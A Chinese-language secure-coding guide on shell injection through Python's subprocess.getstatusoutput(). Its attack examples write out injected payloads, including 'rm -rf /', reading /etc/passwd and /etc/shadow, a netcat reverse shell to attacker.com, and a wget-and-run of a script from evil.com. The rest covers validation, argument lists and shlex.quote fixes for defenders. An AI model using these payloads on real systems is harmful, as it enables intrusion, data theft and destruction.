风险根本原因
subprocess.getstatusoutput() 函数内部实现使用了 shell=True,这意味着命令在 shell 中执行:
python
# 查看源码(Python 3.10+)
def getstatusoutput(cmd):
"""Return (status, output) of executing cmd in a shell."""
with Popen(cmd, shell=True, stdout=PIPE, stderr=STDOUT) as p:
data, _ = p.communicate()
# 注意:这里 decode 可能使用默认编码
data = data.decode() if data else ''
return p.returncode, data
高风险场景演示
场景 1:简单文件名拼接
python
import subprocess
# 用户控制输入
user_input = "test.txt; rm -rf /" # 恶意输入
# ❌ 危险:直接拼接
status, output = subprocess.getstatusoutput(f"cat {user_input}")
# 实际执行: cat test.txt; rm -rf /
# 注:rm -rf / 在现代系统需要 --no-preserve-root 或特殊权限
场景 2:更隐蔽的注入
python
import subprocess
# 用户输入看起来无害
user_input = "$(echo '恶意代码' > /tmp/hacked)"
# 执行看似安全的命令
status, output = subprocess.getstatusoutput(f"ls {user_input}")
# 实际执行: ls $(echo '恶意代码' > /tmp/hacked)
# 先执行 echo 命令,再执行 ls 命令
场景 3:使用反引号或 $()
python
import subprocess
# 使用命令替换
user_input = "`id`" # 或 "$(id)"
status, output = subprocess.getstatusoutput(f"echo {user_input}")
# 实际执行: echo `id`
# 输出: uid=1000(user) gid=1000(user) groups=1000(user)
真实攻击案例
案例 1:Web 应用中的漏洞
python
# 假设这是一个 Flask/Django 视图函数
@app.route('/check_status')
def check_status():
host = request.args.get('host', 'localhost')
# ❌ 危险:直接使用用户输入
cmd = f"ping -c 1 {host}"
status, output = subprocess.getstatusoutput(cmd)
return f"状态: {status}<br>输出: {output}"
# 攻击者可以传入:
# host = "8.8.8.8; cat /etc/passwd"
# 或 host = "8.8.8.8 && nc -e /bin/bash attacker.com 4444"
案例 2:配置检查工具
python
def check_service_config(service_name, config_file="/etc/default/"):
"""检查服务配置"""
# ❌ 危险:用户输入直接拼接到命令中
cmd = f"grep -r 'ENABLE' {config_file}{service_name}.conf 2>/dev/null"
status, output = subprocess.getstatusoutput(cmd)
if status == 0:
return output
return "未找到配置"
# 攻击:
# service_name = "apache2; cat /etc/shadow; echo 'hacked'"
# 实际执行: grep -r 'ENABLE' /etc/default/apache2; cat /etc/shadow; echo 'hacked'.conf
案例 3:日志分析工具
python
def analyze_logs(pattern, log_file="/var/log/app.log"):
"""分析日志文件"""
# ❌ 危险:用户提供的正则模式可能包含命令
cmd = f"grep '{pattern}' {log_file} | head -20"
status, output = subprocess.getstatusoutput(cmd)
return output.split('\n')
# 攻击:
# pattern = "error'; wget http://evil.com/malware.sh -O /tmp/malware.sh; sh /tmp/malware.sh; #"
# 实际执行: grep 'error'; wget ... ; sh ...; #' /var/log/app.log | head -20
安全风险等级评估
| 风险类型 | 严重程度 | 说明 |
|---|---|---|
| 任意命令执行 | ⭐⭐⭐⭐⭐ | 攻击者可执行任意系统命令 |
| 数据泄露 | ⭐⭐⭐⭐ | 可读取敏感文件(/etc/passwd, /etc/shadow 等) |
| 权限提升 | ⭐⭐⭐⭐ | 结合其他漏洞实现权限提升 |
| 系统破坏 | ⭐⭐⭐⭐ | 可删除文件、停止服务等 |
| 后门植入 | ⭐⭐⭐⭐ | 可下载并执行恶意代码 |
安全使用指南
1. 绝对不要直接拼接用户输入
python
# ❌ 永远不要这样做
user_input = request.form['input']
cmd = f"echo {user_input}"
status, output = subprocess.getstatusoutput(cmd)
# ❌ 甚至这样也不安全(可能被绕过)
user_input = request.form['input'].replace(';', '')
cmd = f"echo {user_input}"
2. 使用白名单验证
python
import re
import subprocess
def safe_getstatusoutput(cmd_template, *args, allowed_chars=None):
"""
安全的命令执行
Args:
cmd_template: 命令模板,使用 {} 占位符
*args: 参数,会进行白名单验证
allowed_chars: 允许的字符正则表达式
"""
if allowed_chars is None:
allowed_chars = r'^[a-zA-Z0-9_\-\.]+$'
safe_args = []
for arg in args:
if not re.match(allowed_chars, str(arg)):
raise ValueError(f"Invalid characters in argument: {arg}")
safe_args.append(str(arg))
cmd = cmd_template.format(*safe_args)
return subprocess.getstatusoutput(cmd)
# 使用示例(只允许字母、数字、下划线、连字符、点)
try:
status, output = safe_getstatusoutput(
"ls -la {}",
"normal_directory",
allowed_chars=r'^[a-zA-Z0-9_\-\./]+$'
)
except ValueError as e:
print(f"安全验证失败: {e}")
3. 使用参数化的替代方案
python
import subprocess
def safe_command_execution(base_cmd, *args, timeout=None):
"""
安全执行命令(使用参数列表,避免shell)
Args:
base_cmd: 基础命令列表,如 ["grep", "-r"]
*args: 额外参数
timeout: 超时时间
"""
# 构建命令列表
cmd_list = list(base_cmd) + list(args)
# 执行命令(不使用shell)
try:
result = subprocess.run(
cmd_list,
capture_output=True,
text=True,
timeout=timeout
)
# 模拟 getstatusoutput 的行为(合并 stdout 和 stderr)
output = result.stdout
if result.stderr:
output += "\n" + result.stderr if output else result.stderr
return result.returncode, output.strip()
except subprocess.TimeoutExpired:
return -1, f"Command timed out after {timeout} seconds"
# 使用示例
status, output = safe_command_execution(
["grep", "-r", "ERROR"],
"/var/log/app.log"
)
4. 如果必须使用 shell,严格转义
python
import subprocess
import shlex
def safe_shell_command(cmd_template, *args):
"""
安全执行shell命令(使用shlex.quote转义)
Args:
cmd_template: 命令模板,使用 {} 占位符
*args: 需要转义的参数
"""
# 转义所有参数
quoted_args = [shlex.quote(str(arg)) for arg in args]
# 格式化命令
cmd = cmd_template.format(*quoted_args)
# 执行命令
return subprocess.getstatusoutput(cmd)
# 使用示例
user_input = "test; rm -rf /"
status, output = safe_shell_command("cat {}", user_input)
# 实际执行: cat 'test; rm -rf /'
# 只会尝试打开名为 'test; rm -rf /' 的文件
安全审计清单
在代码审计时,检查以下使用模式:
高风险模式(立即修复)
python
# 1. 直接拼接用户输入
cmd = f"ping {user_input}"
subprocess.getstatusoutput(cmd)
# 2. 使用 os.system(同样危险)
import os
os.system(f"echo {user_input}")
# 3. 使用 eval 或 exec 执行用户输入
eval(user_input)
中等风险模式(需要审查)
python
# 1. 部分过滤(可能被绕过)
user_input = user_input.replace(';', '').replace('&', '')
subprocess.getstatusoutput(f"ls {user_input}")
# 2. 使用环境变量
os.environ['USER_INPUT'] = user_input
subprocess.getstatusoutput("echo $USER_INPUT")
安全模式(推荐)
python
# 1. 使用参数列表
subprocess.run(["echo", user_input], capture_output=True)
# 2. 使用严格转义
import shlex
safe_cmd = f"echo {shlex.quote(user_input)}"
subprocess.getstatusoutput(safe_cmd)
# 3. 使用白名单
if re.match(r'^[a-z0-9]+$', user_input):
subprocess.getstatusoutput(f"echo {user_input}")
实际安全重构示例
重构前(危险)
python
# 原始危险代码
def check_disk_usage(partition):
"""检查磁盘使用率"""
cmd = f"df -h {partition}"
status, output = subprocess.getstatusoutput(cmd)
return output
# 可被攻击:partition = "/; echo 'hacked'"
重构后(安全)
python
# 安全重构版本
import subprocess
import re
def safe_check_disk_usage(partition):
"""
安全检查磁盘使用率
Args:
partition: 分区路径,如 "/home" 或 "/"
"""
# 验证输入格式
if not re.match(r'^/[a-zA-Z0-9_\-/]*$', partition):
raise ValueError(f"无效的分区路径: {partition}")
# 方法1:使用参数列表(最安全)
result = subprocess.run(
["df", "-h", partition],
capture_output=True,
text=True
)
output = result.stdout
if result.stderr:
output += "\n" + result.stderr
return output
# 或者方法2:使用转义
def safe_check_disk_usage_v2(partition):
"""使用转义的安全版本"""
import shlex
# 仍然建议验证输入
if not re.match(r'^/[a-zA-Z0-9_\-/]*$', partition):
raise ValueError(f"无效的分区路径: {partition}")
safe_partition = shlex.quote(partition)
cmd = f"df -h {safe_partition}"
status, output = subprocess.getstatusoutput(cmd)
return output
总结
关键结论:
-
subprocess.getstatusoutput()本身存在注入风险 ,因为它使用shell=True -
任何将用户输入拼接到命令中的行为都是危险的
-
使用
shlex.quote()可以缓解风险,但不是万能的 -
最佳实践是使用参数列表 (
subprocess.run()或subprocess.Popen()的列表形式)
永远记住:
-
不要信任任何用户输入
-
避免使用
shell=True -
使用参数列表而不是字符串拼接
-
对必须使用 shell 的场景,进行严格的输入验证和转义
在安全要求高的场景下,应该完全避免使用 subprocess.getstatusoutput(),转而使用更安全的 subprocess.run() 或 subprocess.Popen() 的列表形式。